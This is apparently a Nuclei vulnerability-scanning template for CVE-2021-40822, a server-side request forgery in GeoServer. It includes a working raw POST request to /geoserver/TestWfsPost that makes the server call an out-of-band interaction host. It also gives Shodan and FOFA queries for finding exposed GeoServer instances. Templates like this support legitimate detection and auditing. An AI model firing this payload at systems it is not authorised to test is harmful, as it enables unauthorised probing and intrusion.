id: CVE-2021-40822

info:
  name: Geoserver - Server-Side Request Forgery
  author: For3stCo1d,aringo-bf
  severity: high
  description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
  reference:
    - https://gccybermonks.com/posts/cve-2021-40822/
    - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
    - https://github.com/geoserver/geoserver/releases
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40822
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40822
    cwe-id: CWE-918
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
    epss-score: 0.65495
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"GeoServer"
    fofa-query: app="GeoServer"
  tags: cve,cve2021,ssrf,geoserver

http:
  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: oast.pro
        Content-Type: application/x-www-form-urlencoded

        form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<b>Interactsh</b>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200